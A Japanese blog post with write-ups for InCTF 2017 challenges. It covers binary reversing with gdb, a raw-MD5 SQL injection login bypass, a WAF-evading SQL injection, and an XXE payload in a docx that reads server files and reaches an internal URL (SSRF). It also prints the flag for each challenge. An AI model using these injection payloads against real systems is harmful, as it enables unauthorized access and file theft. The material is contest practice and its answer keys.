st98 の日記帳


[ctf] InCTF の write-up

チーム Harekaze で 12 月 16 日から 12 月 17 日にかけて開催された InCTF に参加しました。最終的にチームで 2701 点を獲得し、順位は得点 156 チーム中 5 位でした。うち、私は 10 問を解いて 2200 点を入れました。

以下、解いた問題の write-up です。

[Reversing 50] Time

Time というファイルが与えられました。file でどのようなファイルか調べてみましょう。

$ file ./Time
Time: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.3, for GNU/Linux 2.6.16, stripped

ARM の ELF のようです。実行してみましょう。

pi@raspberrypi:~/ctf/InCTF 2017/Time $ ./Time 
You sucessfully loaded the file :)
Enter your Key
hoge
Flag check failed

逆アセンブルして読んでいくと、以下のような処理を見つけました。

...
   0x8528:      sub     r3, fp, #12
   0x852c:      ldr     r0, [pc, #140]  ; 0x85c0 => "%ld"
   0x8530:      mov     r1, r3
   0x8534:      bl      0x83c8 <__isoc99_scanf>
   0x8538:      ldr     r3, [pc, #132]  ; 0x85c4
   0x853c:      ldr     r2, [r3]
   0x8540:      ldr     r3, [pc, #128]  ; 0x85c8
   0x8544:      ldr     r3, [r3]
   0x8548:      rsb     r2, r3, r2
   0x854c:      ldr     r3, [r11, #-12]
   0x8550:      cmp     r2, r3
   0x8554:      bne     0x85ac
   0x8558:      ldr     r0, [pc, #108]  ; 0x85cc => "Seems you guessed it."
   0x855c:      bl      0x838c <puts>
   0x8560:      ldr     r0, [pc, #104]  ; 0x85d0 => "Flag is "
   0x8564:      bl      0x8374 <printf>
...

数値の入力後 cmp r2, r3 で比較しています。gdb でファイルを開いてここにブレークポイントを設定し、set $r3 = $r2 でごまかしてしまいましょう。

$ gdb -n ./Time
(gdb) b *0x8550
Breakpoint 1 at 0x8550
(gdb) commands
Type commands for breakpoint(s) 1, one per line.
End with a line saying just "end".
>  set $r3 = $r2
>  c
>end
(gdb) r
You sucessfully loaded the file :)
Enter your Key
hoge

Breakpoint 1, 0x00008550 in ?? ()
Seems you guessed it.
Flag is inctf{Th1s_!s_jUst_th3_B3ginNing}

フラグが得られました。

inctf{Th1s_!s_jUst_th3_B3ginNing}

[Reversing 200] GoSolveMe

go_solveMe_200 というファイルが与えられました。file でどのようなファイルか調べてみましょう。

$ file ./go_solveMe_200
go_solveMe_200: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, not stripped
$ strings -n 10 ./go_solveMe_200
...
sync/atomic.LoadUintptr
sync/atomic.LoadPointer
sync/atomic.StoreUint32
sync/atomic.StoreUint64
sync/atomic.StoreUintptr
/home/d3xt3r/Desktop/Ictf/ques2/go_solveMe(200)/challenge200.go
/usr/lib/go-1.6/src/runtime/alg.go
/usr/lib/go-1.6/src/runtime/atomic_pointer.go
/usr/lib/go-1.6/src/runtime/cgo_mmap.go
/usr/lib/go-1.6/src/runtime/cgocall.go
/usr/lib/go-1.6/src/runtime/cgocheck.go
...

x86_64 の Go で作られた ELF のようです。gdb でどのようなファイルがあるか調べてみましょう。

gdb-peda$ info functions main
All functions matching regular expression "main":

File go:
void main(void);
void main.badinput(void);
void main.calc(main.Integer, main.Integer, int);
void main.init(void);
void main.main(void);
void main.printflag(main.Integer, [40]int);
void runtime.main(void);
void runtime.main.func1(void);
void runtime.main.func2(bool *);

main.main を逆アセンブルしてみます。

gdb-peda$ disas 'main.main'
...
   0x00000000004012f7 <+759>:   cmp    rbx,0x98967f
   0x00000000004012fe <+766>:   jge    0x401307 <main.main+775>
   0x0000000000401300 <+768>:   call   0x401960 <main.badinput>
   0x0000000000401305 <+773>:   jmp    0x4012d1 <main.main+721>
   0x0000000000401307 <+775>:   mov    rbx,QWORD PTR [rcx]
   0x000000000040130a <+778>:   cmp    rbx,0x5f5e0ff
   0x0000000000401311 <+785>:   jle    0x40131a <main.main+794>
   0x0000000000401313 <+787>:   call   0x401960 <main.badinput>
   0x0000000000401318 <+792>:   jmp    0x4012d1 <main.main+721>
   0x000000000040131a <+794>:   mov    rcx,QWORD PTR [rcx]
   0x000000000040131d <+797>:   mov    QWORD PTR [rsp],rcx
   0x0000000000401321 <+801>:   mov    rbx,QWORD PTR [rsp+0x148]
   0x0000000000401329 <+809>:   mov    QWORD PTR [rsp+0x8],rbx
   0x000000000040132e <+814>:   call   0x4013c0 <main.calc>
   0x0000000000401333 <+819>:   mov    rbx,QWORD PTR [rsp+0x10]
   0x0000000000401338 <+824>:   cmp    rbx,0x1
   0x000000000040133c <+828>:   je     0x401345 <main.main+837>
   0x000000000040133e <+830>:   call   0x401960 <main.badinput>
   0x0000000000401343 <+835>:   jmp    0x4012d1 <main.main+721>
   0x0000000000401345 <+837>:   mov    rsi,QWORD PTR [rsp+0x290]
   0x000000000040134d <+845>:   mov    rcx,QWORD PTR [rsi]
   0x0000000000401350 <+848>:   mov    QWORD PTR [rsp],rcx
   0x0000000000401354 <+852>:   lea    rsi,[rsp+0x150]
   0x000000000040135c <+860>:   lea    rdi,[rsp+0x8]
   0x0000000000401361 <+865>:   call   0x456608 <runtime.duffcopy+616>
   0x0000000000401366 <+870>:   call   0x401460 <main.printflag>
...

入力した数値が 9999999 以上 99999999 以下であれば main.calc に投げ、この返り値が 1 でなら main.printflag でフラグを出力しています。

main.calc の処理を見てみます。

gdb-peda$ disas 'main.calc'
Dump of assembler code for function main.calc:
   0x00000000004013c0 <+0>:     mov    rdi,QWORD PTR [rsp+0x8]
   0x00000000004013c5 <+5>:     xor    ebx,ebx
   0x00000000004013c7 <+7>:     xor    ebx,ebx
   0x00000000004013c9 <+9>:     xor    ebx,ebx
   0x00000000004013cb <+11>:    mov    rbp,0xf4240
   0x00000000004013d2 <+18>:    mov    rax,rdi
   0x00000000004013d5 <+21>:    cmp    rbp,0xffffffffffffffff
   0x00000000004013d9 <+25>:    je     0x401449 <main.calc+137>
   0x00000000004013db <+27>:    cqo    
   0x00000000004013dd <+29>:    idiv   rbp
   0x00000000004013e0 <+32>:    mov    rcx,rax
   0x00000000004013e3 <+35>:    mov    rdx,0xa
   0x00000000004013ea <+42>:    mov    rbp,rdx
   0x00000000004013ed <+45>:    mov    rax,rcx
   0x00000000004013f0 <+48>:    cmp    rdx,0xffffffffffffffff
   0x00000000004013f4 <+52>:    je     0x401445 <main.calc+133>
   0x00000000004013f6 <+54>:    cqo    
   0x00000000004013f8 <+56>:    idiv   rbp
   0x00000000004013fb <+59>:    mov    rax,rdx
   0x00000000004013fe <+62>:    mov    rsi,rax
   0x0000000000401401 <+65>:    mov    rbp,0xa
   0x0000000000401408 <+72>:    mov    rdx,rax
   0x000000000040140b <+75>:    imul   rsi,rbp
   0x000000000040140f <+79>:    mov    rax,rdi
   0x0000000000401412 <+82>:    cmp    rbp,0xffffffffffffffff
   0x0000000000401416 <+86>:    je     0x401441 <main.calc+129>
   0x0000000000401418 <+88>:    cqo    
   0x000000000040141a <+90>:    idiv   rbp
   0x000000000040141d <+93>:    mov    rax,rdx
   0x0000000000401420 <+96>:    mov    rbp,QWORD PTR [rsp+0x10]
   0x0000000000401425 <+101>:   mov    rbx,rsi
   0x0000000000401428 <+104>:   add    rbx,rax
   0x000000000040142b <+107>:   cmp    rbx,rbp
   0x000000000040142e <+110>:   jne    0x40143d <main.calc+125>
   0x0000000000401430 <+112>:   mov    rax,0x1
   0x0000000000401437 <+119>:   mov    QWORD PTR [rsp+0x18],rax
   0x000000000040143c <+124>:   ret    
   0x000000000040143d <+125>:   xor    eax,eax
   0x000000000040143f <+127>:   jmp    0x401437 <main.calc+119>
   0x0000000000401441 <+129>:   xor    eax,eax
   0x0000000000401443 <+131>:   jmp    0x401420 <main.calc+96>
   0x0000000000401445 <+133>:   xor    eax,eax
   0x0000000000401447 <+135>:   jmp    0x4013fe <main.calc+62>
   0x0000000000401449 <+137>:   neg    rax
   0x000000000040144c <+140>:   mov    rcx,rax
   0x000000000040144f <+143>:   jmp    0x4013e3 <main.calc+35>

ソルバを書いてみます。mov rbp,QWORD PTR [rsp+0x10]mov QWORD PTR [rsp+0x18],rax のような部分を少しいじって、命令列を大体そのまま使います。

#include <stdio.h>
int main(void) {
  long long i;
  char calc[] = "\x55\x48\x89\xE5\x31\xDB\x31\xDB\x31\xDB\x48\xC7\xC5\x40\x42\x0F\x00\x48\x89\xF8\x48\x83\xFD\xFF\x74\x6E\x48\x99\x48\xF7\xFD\x48\x89\xC1\x48\xC7\xC2\x0A\x00\x00\x00\x48\x89\xD5\x48\x89\xC8\x48\x83\xFA\xFF\x74\x4F\x48\x99\x48\xF7\xFD\x48\x89\xD0\x48\x89\xC6\x48\xC7\xC5\x0A\x00\x00\x00\x48\x89\xC2\x48\x0F\xAF\xF5\x48\x89\xF8\x48\x83\xFD\xFF\x74\x29\x48\x99\x48\xF7\xFD\x48\x89\xD0\xBD\x26\x00\x00\x00\x48\x89\xF3\x48\x01\xC3\x48\x39\xEB\x75\x0D\x48\xC7\xC0\x01\x00\x00\x00\x90\x90\x90\x90\x5D\xC3\x31\xC0\xEB\xF6\x31\xC0\xEB\xDB\x31\xC0\xEB\xB5\x48\xF7\xD8\x48\x89\xC1\xEB\x92";
  for (i = 0x98967f; i <= 0x5f5e0ff; i++) {
    if (((long long (*)(long long)) calc)(i)) {
      printf("%lld\n", i);
      break;
    }
  }
  return 0;
}
$ gcc -z execstack -o solve solve.c
$ ./solve
13000008
$ ./go_solveMe_200 
Enter Input:

13000008

Congratulations!!

Flag: inctf{tH3_h|Gh3r_y@U_Cl|mB_tH3_Be??eR_Th3_v|3w}

フラグが得られました。

inctf{tH3_h|Gh3r_y@U_Cl|mB_tH3_Be??eR_Th3_v|3w}

[Web 150] Warm Up

与えられた URL にアクセスすると、ログインフォームが表示されました。Forgot Password? という /source.txt へのリンクがあったのでアクセスしてみると、以下のようにソースコードが得られました。

<?php


if($_POST[id] && $_POST[pw])
{
$input_id=$_POST[id];
$input_pw=md5($_POST[pw],fa1se);

$q=@mysql_fetch_array(mysql_query("select id from inctf where id='$input_id' and pw='$input_pw'"));

if($q[id]=="admin")
{
echo .$Flag."<br>";
}

if($q[id]!="admin") 
{
echo("<center><font color=green><h1>Wrong</h1></font></center>");
}

}

入力したパスワードが MD5 でハッシュ化されて SQL 文につっこまれています。

見た感じ何もできなさそうですが、よく見ると md5 の第二引数に fa1se (未定義の定数なので文字列の 'fa1se' として評価される) が渡っており、この返り値はバイナリ形式になることが分かります。

SQL injection with raw MD5 hashes (Leet More CTF 2010 injection 300) - Christian von Kleist を参考にユーザ名に admin、パスワードに 129581926211651571912466741651878684928 を入力するとフラグが得られました。

inctf{Y0u_C4n_N3v3r_F1nd_7h1s_Fl4g}

[Web 300] Liar

与えられた URL にアクセスしたものの…何も情報が得られません。

m—/webf**k を回すと /.hg/ が見つかりました。

kost/dvcs-ripper を使って rip-hg.pl -u http://liar.inctf.in/.hg/ でダウンロードすることができました。どういうファイルがあるか調べてみます。

$ hg status
! .hgignore
! 1ts_h4rd_t0_gu3ss/index.html
! 1ts_h4rd_t0_gu3ss/vulnerable.php

1ts_h4rd_t0_gu3ss というディレクトリが存在することが分かりました。アクセスしてみると、以下のようなフォームが表示されました。

<html>
    <head>
        <title>Global Search</title>
        <script src='https://www.google.com/recaptcha/api.js'></script>
    </head>
    <body>
        Find Your Friends<br>    
        <form name="myform" method="post" action="vulnerable.php">
            <textarea type="text" rows="3" cols="30" name="name" id="name"></textarea>
            <br><br>
            <div class="g-recaptcha" data-sitekey="6LegjzwUAAAAAGkjkxPtgdfuVxPAxKY97He543nR"></div>
            <input type="submit"></input>
        </form>
        <!--Could You beat our security!!!--!>
            <!--Can you find the phone number of my friend, I guess it is stored in some table, I think it is in phone column--!>
    </body>
</html>

SQLi ができそうな雰囲気があります。' or 1;# を入力すると You cant attack us, you cant break us と表示されました。また、selectunion が含まれる文字列を入力すると Our WAF detected an attack!!! と表示されました。

Can you find the phone number of my friend, I guess it is stored in some table, I think it is in phone column というヒントから '^phone^' を入力してみるとフラグが得られました。

<table border="1" style="width:100%"><tr><td>Gu3$$1NG_n0t_ALL0w3d_91324954</td><tr><td>InCTF flag</td><tr><td>inctf{H0w_@b0Ut_@n_r3@L_1nJ3c}</td></tr></table>
inctf{H0w_@b0Ut_@n_r3@L_1nJ3c}

[Web 300] upl0ad3r

与えられた URL にアクセスすると、docx ファイルをアップロードできるフォームが表示されました。

/robots.txt にアクセスすると、以下のように表示されました。

# Files
Disallow: /getme.php

/getme.php にアクセスしてみたものの、何も表示されません。どうやらこの内容を読む必要があるようです。

アップローダーからサンプルの sample.docx をそのままアップロードしてみると、以下のように表示されました。

Info

File is Parsed!!

Created by : 'Team bi0s'

どうやら docsProps/core.xmldc:creator の内容を見ているようです。

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<cp:coreProperties xmlns:cp="http://schemas.openxmlformats.org/package/2006/metadata/core-properties" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:dcterms="http://purl.org/dc/terms/" xmlns:dcmitype="http://purl.org/dc/dcmitype/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><dc:title>Try asdf!</dc:title><dc:subject></dc:subject><dc:creator>Team bi0s</dc:creator><cp:keywords></cp:keywords><dc:description></dc:description><cp:lastModifiedBy></cp:lastModifiedBy><cp:revision>1</cp:revision><dcterms:created xsi:type="dcterms:W3CDTF">2015-08-01T19:00:00Z</dcterms:created><dcterms:modified xsi:type="dcterms:W3CDTF">2015-09-08T19:22:00Z</dcterms:modified></cp:coreProperties>

XML といえば XXE です。

docsProps/core.xml を以下のように変えてアップロードしてみると getme.php の内容が得られました。

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE x [ 
  <!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=/var/www/html/getme.php">
] >
<cp:coreProperties xmlns:cp="http://schemas.openxmlformats.org/package/2006/metadata/core-properties" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:dcterms="http://purl.org/dc/terms/" xmlns:dcmitype="http://purl.org/dc/dcmitype/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><dc:title>Try asdf!</dc:title><dc:subject></dc:subject><dc:creator>&xxe;</dc:creator><cp:keywords></cp:keywords><dc:description></dc:description><cp:lastModifiedBy></cp:lastModifiedBy><cp:revision>1</cp:revision><dcterms:created xsi:type="dcterms:W3CDTF">2015-08-01T19:00:00Z</dcterms:created><dcterms:modified xsi:type="dcterms:W3CDTF">2015-09-08T19:22:00Z</dcterms:modified></cp:coreProperties>
<h2>Info</h2><h3>File is Parsed!!</h3><h3>Created by  : 'PD9waHAKCglpbmNsdWRlKCdmbGFnLnBocCcpOwogICAgICAgICRvYmogPSAkX0dFVFsnb2JqJ107CiAgICAgICAgJHVuc2VyaWFsaXplZF9vYmogPSB1bnNlcmlhbGl6ZSgkb2JqKTsKICAgICAgICAkdW5zZXJpYWxpemVkX29iai0+ZmxhZyA9ICRmbGFnOwogICAgICAgIGlmIChoYXNoX2VxdWFscyAoJHVuc2VyaWFsaXplZF9vYmotPmlucHV0LCAkdW5zZXJpYWxpemVkX29iai0+ZmxhZykpewogICAgICAgICAgICAgICAgcHJpbnQgZmlsZV9nZXRfY29udGVudHMoJ2h0dHA6Ly9hZG1pbjphZG1pbkAxOTIuMTY4LjMwLjEwNi9mbGFnLnBocCcpOwogICAgICAgIH0KICAgICAgICBlbHNlewogICAgICAgICAgICAgICAgZWNobyAiQmV0dGVyIEx1Y2sgbmV4dCB0aW1lISEiOwogICAgICAgIH0KCj8+Cg==' </h3><br/>
<?php

    include('flag.php');
        $obj = $_GET['obj'];
        $unserialized_obj = unserialize($obj);
        $unserialized_obj->flag = $flag;
        if (hash_equals ($unserialized_obj->input, $unserialized_obj->flag)){
                print file_get_contents('http://admin:admin@192.168.30.106/flag.php');
        }
        else{
                echo "Better Luck next time!!";
        }

?>

<!ENTITY xxe SYSTEM "http://admin:admin@192.168.30.106/flag.php"> に変えてアップロードするとフラグが得られました。

inctf{Xm1_l0v3s_Xx3_xX3_l0v3s_ssrF}

[Web 500] Secure Auth

与えられた URL にアクセスしてみたものの、何も表示されません。

/robots.txt にアクセスすると以下のように表示されました。

User-agent: *
Disallow: /cgi-bin
Disallow: /zxcv

/zxcv/ にアクセスすると、以下のようなファイルがありました。

index.html

<!DOCTYPE html>
<html>
<head>
  <meta charset="UTF-8">
  <title>Login</title>
  <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/normalize/5.0.0/normalize.min.css">
  <script crossorigin="anonymous" integrity="sha256-ivk71nXhz9nsyFDoYoGf2sbjrR9ddh+XDkCcfZxjvcM= sha512-7aMbXH03HUs6zO1R+pLyekF1FTF89Deq4JpHw6zIo2vbtaXnDw+/2C03Je30WFDd6MpSwg+aLW4Di46qzu488Q==" src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.3/jquery.min.js"></script>
  <script src="unicorn.js"></script>
  <style>
...
</style>
<script src="https://cdnjs.cloudflare.com/ajax/libs/prefixfree/1.0.7/prefixfree.min.js"></script>
</head>
<body>
  <div class="login">
	<h1>Login</h1>
    <form action="" method="post">
    	<input type="text" name="cuser" placeholder="Username" id="cuser" required="required" />
        <input type="password" name="cpass" placeholder="Password" id="cpass" required="required" />
        <button name="submit" type="submit" class="btn btn-primary btn-block btn-large" id="c_submit">Login</button>
    </form>
<script src="script.js"></script>
</body>
</html>

script.js

var _0x9c2f=['PROT_ALL','location','href','indexOf','/../','.html','Wrong\x20credentials,\x20sorry','#c_submit','click','preventDefault','#cuser','val','slice','split','reverse','map','charCodeAt','toString','join','#cpass','reg_write_i32','X86_REG_EAX','X86_REG_ECX','X86_REG_EDX','mem_map','emu_start','length','reg_read_i32','ARCH_X86','MODE_32','X86_REG_ESI','X86_REG_EBX','X86_REG_EBP'];(function(a,c){var b=function(b){while(--b){a['push'](a['shift']());}};b(++c);}(_0x9c2f,0x193));var _0xf9c2=function(a,c){a=a-0x0;var b=_0x9c2f[a];return b;};$(_0xf9c2('0x0'))[_0xf9c2('0x1')](function(r){r[_0xf9c2('0x2')]();var h=$(_0xf9c2('0x3'))[_0xf9c2('0x4')]();var n=h[_0xf9c2('0x5')](0x0,0x4);n=n[_0xf9c2('0x6')]('')[_0xf9c2('0x7')]()['join']('');n='0x'+n['split']('')[_0xf9c2('0x8')](_0x29995c=>_0x29995c[_0xf9c2('0x9')](0x0)[_0xf9c2('0xa')](0x10))[_0xf9c2('0xb')]('');var m=h[_0xf9c2('0x5')](0x4,0x8);m=m[_0xf9c2('0x6')]('')[_0xf9c2('0x7')]()[_0xf9c2('0xb')]('');m='0x'+m[_0xf9c2('0x6')]('')[_0xf9c2('0x8')](_0x1c7b1c=>_0x1c7b1c['charCodeAt'](0x0)[_0xf9c2('0xa')](0x10))[_0xf9c2('0xb')]('');var f=h[_0xf9c2('0x5')](0x8,0xc);f=f[_0xf9c2('0x6')]('')[_0xf9c2('0x7')]()[_0xf9c2('0xb')]('');f='0x'+f[_0xf9c2('0x6')]('')[_0xf9c2('0x8')](_0x41acdb=>_0x41acdb[_0xf9c2('0x9')](0x0)['toString'](0x10))[_0xf9c2('0xb')]('');var j=h[_0xf9c2('0x5')](0xc,0x10);j=j[_0xf9c2('0x6')]('')['reverse']()[_0xf9c2('0xb')]('');j='0x'+j[_0xf9c2('0x6')]('')[_0xf9c2('0x8')](_0x4186f9=>_0x4186f9[_0xf9c2('0x9')](0x0)[_0xf9c2('0xa')](0x10))[_0xf9c2('0xb')]('');var g=h[_0xf9c2('0x5')](0x10,0x13);g=g[_0xf9c2('0x6')]('')['reverse']()[_0xf9c2('0xb')]('');g='0x'+g['split']('')[_0xf9c2('0x8')](_0x515f47=>_0x515f47[_0xf9c2('0x9')](0x0)['toString'](0x10))[_0xf9c2('0xb')]('');var c=$(_0xf9c2('0xc'))[_0xf9c2('0x4')]();var o=c[_0xf9c2('0x5')](0x0,0x4);o=o['split']('')[_0xf9c2('0x7')]()['join']('');o='0x'+o[_0xf9c2('0x6')]('')['map'](_0x12efcf=>_0x12efcf['charCodeAt'](0x0)[_0xf9c2('0xa')](0x10))[_0xf9c2('0xb')]('');var i=c['slice'](0x4,0x8);i=i['split']('')[_0xf9c2('0x7')]()[_0xf9c2('0xb')]('');i='0x'+i['split']('')[_0xf9c2('0x8')](_0x3b0ae1=>_0x3b0ae1[_0xf9c2('0x9')](0x0)['toString'](0x10))[_0xf9c2('0xb')]('');var e=c[_0xf9c2('0x5')](0x8,0xc);e=e[_0xf9c2('0x6')]('')[_0xf9c2('0x7')]()['join']('');e='0x'+e['split']('')[_0xf9c2('0x8')](_0x40d2e3=>_0x40d2e3['charCodeAt'](0x0)['toString'](0x10))[_0xf9c2('0xb')]('');var k=c[_0xf9c2('0x5')](0xc,0x10);k=k[_0xf9c2('0x6')]('')[_0xf9c2('0x7')]()['join']('');k='0x'+k[_0xf9c2('0x6')]('')[_0xf9c2('0x8')](_0x71ef00=>_0x71ef00[_0xf9c2('0x9')](0x0)[_0xf9c2('0xa')](0x10))[_0xf9c2('0xb')]('');var l=c[_0xf9c2('0x5')](0x10,0x13);l=l[_0xf9c2('0x6')]('')[_0xf9c2('0x7')]()[_0xf9c2('0xb')]('');l='0x'+l[_0xf9c2('0x6')]('')[_0xf9c2('0x8')](_0x335224=>_0x335224[_0xf9c2('0x9')](0x0)[_0xf9c2('0xa')](0x10))['join']('');var a=new uc['Unicorn'](uc['ARCH_X86'],uc['MODE_32']);var b=0x8048000;var d=[0xbf,0x69,0x61,0x6d,0x74,0x39,0xf8,0x75,0x2b,0xbf,0x68,0x65,0x61,0x64,0x39,0xfb,0x75,0x22,0xbf,0x6d,0x69,0x6e,0x69,0x39,0xf9,0x75,0x19,0xbf,0x73,0x74,0x72,0x61,0x39,0xfa,0x75,0x10,0xbf,0x74,0x6f,0x72,0x0,0x39,0xfe,0x75,0x7,0xb8,0x1,0x0,0x0,0x0,0xeb,0x5,0xb8,0x0,0x0,0x0,0x0];a[_0xf9c2('0xd')](uc[_0xf9c2('0xe')],n);a[_0xf9c2('0xd')](uc['X86_REG_EBX'],m);a[_0xf9c2('0xd')](uc[_0xf9c2('0xf')],f);a[_0xf9c2('0xd')](uc[_0xf9c2('0x10')],j);a[_0xf9c2('0xd')](uc['X86_REG_ESI'],g);a[_0xf9c2('0x11')](b,0x1000,uc['PROT_ALL']);a['mem_write'](b,d);a[_0xf9c2('0x12')](b,b+d[_0xf9c2('0x13')]);var p=a[_0xf9c2('0x14')](uc[_0xf9c2('0xe')]);if(p){var a=new uc['Unicorn'](uc[_0xf9c2('0x15')],uc[_0xf9c2('0x16')]);var b=0x8048000;var d=[0x81,0xc6,0x69,0x61,0x6d,0x74,0x81,0xc6,0x7,0x6,0x5,0x4,0x81,0xfe,0xd3,0xd6,0xe0,0xdf,0x75,0x55,0x40,0x81,0xc3,0x68,0x65,0x61,0x64,0x81,0xc3,0x3,0x2,0x1,0x0,0x81,0xfb,0xdd,0xdb,0xdc,0x98,0x75,0x40,0x40,0x81,0xc1,0x6d,0x69,0x6e,0x69,0x81,0xc1,0xf,0xe,0xd,0xc,0x81,0xf9,0xf0,0xdf,0xe0,0xe5,0x75,0x2b,0x40,0x81,0xc2,0x73,0x74,0x72,0x61,0x81,0xc2,0xb,0xa,0x9,0x8,0x81,0xfa,0xdf,0xf1,0x9f,0xe0,0x75,0x16,0x40,0x81,0xc5,0x74,0x6f,0x72,0x0,0x81,0xc5,0x17,0x16,0x15,0x0,0x81,0xfd,0xbb,0xf7,0xcb,0x0,0x75,0x1,0x40];a[_0xf9c2('0xd')](uc[_0xf9c2('0x17')],o);a[_0xf9c2('0xd')](uc[_0xf9c2('0x18')],i);a[_0xf9c2('0xd')](uc[_0xf9c2('0xf')],e);a[_0xf9c2('0xd')](uc[_0xf9c2('0x10')],k);a[_0xf9c2('0xd')](uc[_0xf9c2('0x19')],l);a[_0xf9c2('0x11')](b,0x1000,uc[_0xf9c2('0x1a')]);a['mem_write'](b,d);a[_0xf9c2('0x12')](b,b+d[_0xf9c2('0x13')]);var q=a[_0xf9c2('0x14')](uc['X86_REG_EAX']);if(q==0x5){if(document[_0xf9c2('0x1b')][_0xf9c2('0x1c')][_0xf9c2('0x1d')]('?p=')==-0x1){document['location']=document[_0xf9c2('0x1b')]+_0xf9c2('0x1e')+c+_0xf9c2('0x1f');}}else{alert(_0xf9c2('0x20'));}}else{alert(_0xf9c2('0x20'));}});

script.js の難読化を解除してみると、以下のようになりました。

$('#c_submit').click(function(r) {
    r.preventDefault();
    var h = $('#cuser').val();
    var n = h.slice(0x0, 0x4);
    n = n.split('').reverse().join('');
    n = '0x' + n.split('').map(c => c.charCodeAt(0x0).toString(0x10)).join('');
    var m = h.slice(0x4, 0x8);
    m = m.split('').reverse().join('');
    m = '0x' + m.split('').map(c => c.charCodeAt(0x0).toString(0x10)).join('');
    var f = h.slice(0x8, 0xc);
    f = f.split('').reverse().join('');
    f = '0x' + f.split('').map(c => c.charCodeAt(0x0).toString(0x10)).join('');
    var j = h.slice(0xc, 0x10);
    j = j.split('').reverse().join('');
    j = '0x' + j.split('').map(c => c.charCodeAt(0x0).toString(0x10)).join('');
    var g = h.slice(0x10, 0x13);
    g = g.split('').reverse().join('');
    g = '0x' + g.split('').map(c => c.charCodeAt(0x0).toString(0x10)).join('');

    var c = $('#cpass').val();
    var o = c.slice(0x0, 0x4);
    o = o.split('').reverse().join('');
    o = '0x' + o.split('').map(c => c.charCodeAt(0x0).toString(0x10)).join('');
    var i = c.slice(0x4, 0x8);
    i = i.split('').reverse().join('');
    i = '0x' + i.split('').map(c => c.charCodeAt(0x0).toString(0x10)).join('');
    var e = c.slice(0x8, 0xc);
    e = e.split('').reverse().join('');
    e = '0x' + e.split('').map(c => c.charCodeAt(0x0).toString(0x10)).join('');
    var k = c.slice(0xc, 0x10);
    k = k.split('').reverse().join('');
    k = '0x' + k.split('').map(c => c.charCodeAt(0x0).toString(0x10)).join('');
    var l = c.slice(0x10, 0x13);
    l = l.split('').reverse().join('');
    l = '0x' + l.split('').map(c => c.charCodeAt(0x0).toString(0x10)).join('');

    var a = new uc.Unicorn(uc.ARCH_X86, uc.MODE_32);
    var b = 0x8048000;
    var d = [0xbf, 0x69, 0x61, 0x6d, 0x74, 0x39, 0xf8, 0x75, 0x2b, 0xbf, 0x68, 0x65, 0x61, 0x64, 0x39, 0xfb, 0x75, 0x22, 0xbf, 0x6d, 0x69, 0x6e, 0x69, 0x39, 0xf9, 0x75, 0x19, 0xbf, 0x73, 0x74, 0x72, 0x61, 0x39, 0xfa, 0x75, 0x10, 0xbf, 0x74, 0x6f, 0x72, 0x0, 0x39, 0xfe, 0x75, 0x7, 0xb8, 0x1, 0x0, 0x0, 0x0, 0xeb, 0x5, 0xb8, 0x0, 0x0, 0x0, 0x0];
    a.reg_write_i32(uc.X86_REG_EAX, n);
    a.reg_write_i32(uc.X86_REG_EBX, m);
    a.reg_write_i32(uc.X86_REG_ECX, f);
    a.reg_write_i32(uc.X86_REG_EDX, j);
    a.reg_write_i32(uc.X86_REG_ESI, g);
    a.mem_map(b, 0x1000, uc.PROT_ALL);
    a.mem_write(b, d);
    a.emu_start(b, b + d.length);
    var p = a.reg_read_i32(uc.X86_REG_EAX);
    if (p) {
        var a = new uc.Unicorn(uc.ARCH_X86, uc.MODE_32);
        var b = 0x8048000;
        var d = [0x81, 0xc6, 0x69, 0x61, 0x6d, 0x74, 0x81, 0xc6, 0x7, 0x6, 0x5, 0x4, 0x81, 0xfe, 0xd3, 0xd6, 0xe0, 0xdf, 0x75, 0x55, 0x40, 0x81, 0xc3, 0x68, 0x65, 0x61, 0x64, 0x81, 0xc3, 0x3, 0x2, 0x1, 0x0, 0x81, 0xfb, 0xdd, 0xdb, 0xdc, 0x98, 0x75, 0x40, 0x40, 0x81, 0xc1, 0x6d, 0x69, 0x6e, 0x69, 0x81, 0xc1, 0xf, 0xe, 0xd, 0xc, 0x81, 0xf9, 0xf0, 0xdf, 0xe0, 0xe5, 0x75, 0x2b, 0x40, 0x81, 0xc2, 0x73, 0x74, 0x72, 0x61, 0x81, 0xc2, 0xb, 0xa, 0x9, 0x8, 0x81, 0xfa, 0xdf, 0xf1, 0x9f, 0xe0, 0x75, 0x16, 0x40, 0x81, 0xc5, 0x74, 0x6f, 0x72, 0x0, 0x81, 0xc5, 0x17, 0x16, 0x15, 0x0, 0x81, 0xfd, 0xbb, 0xf7, 0xcb, 0x0, 0x75, 0x1, 0x40];
        a.reg_write_i32(uc.X86_REG_ESI, o);
        a.reg_write_i32(uc.X86_REG_EBX, i);
        a.reg_write_i32(uc.X86_REG_ECX, e);
        a.reg_write_i32(uc.X86_REG_EDX, k);
        a.reg_write_i32(uc.X86_REG_EBP, l);
        a.mem_map(b, 0x1000, uc.PROT_ALL);
        a.mem_write(b, d);
        a.emu_start(b, b + d.length);
        var q = a.reg_read_i32(uc.X86_REG_EAX);
        if (q == 0x5) {
            if (document.location.href.indexOf('?p=') == -0x1) {
                document.location = document.location + '/../' + c + '.html';
            }
        } else {
            alert('Wrong credentials, sorry');
        }
    } else {
        alert('Wrong credentials, sorry');
    }
});

入力したユーザ名とパスワードをどちらも 4 文字ずつ分けて数値に変換し、eax ebx ecx edx esi の順番で格納しています。その後、それぞれに用意された x86 の命令列でチェックしています。

まずユーザ名の方を逆アセンブルしてみます。

   0:	bf 69 61 6d 74       	mov    edi,0x746d6169
   5:	39 f8                	cmp    eax,edi
   7:	75 2b                	jne    0x34
   9:	bf 68 65 61 64       	mov    edi,0x64616568
   e:	39 fb                	cmp    ebx,edi
  10:	75 22                	jne    0x34
  12:	bf 6d 69 6e 69       	mov    edi,0x696e696d
  17:	39 f9                	cmp    ecx,edi
  19:	75 19                	jne    0x34
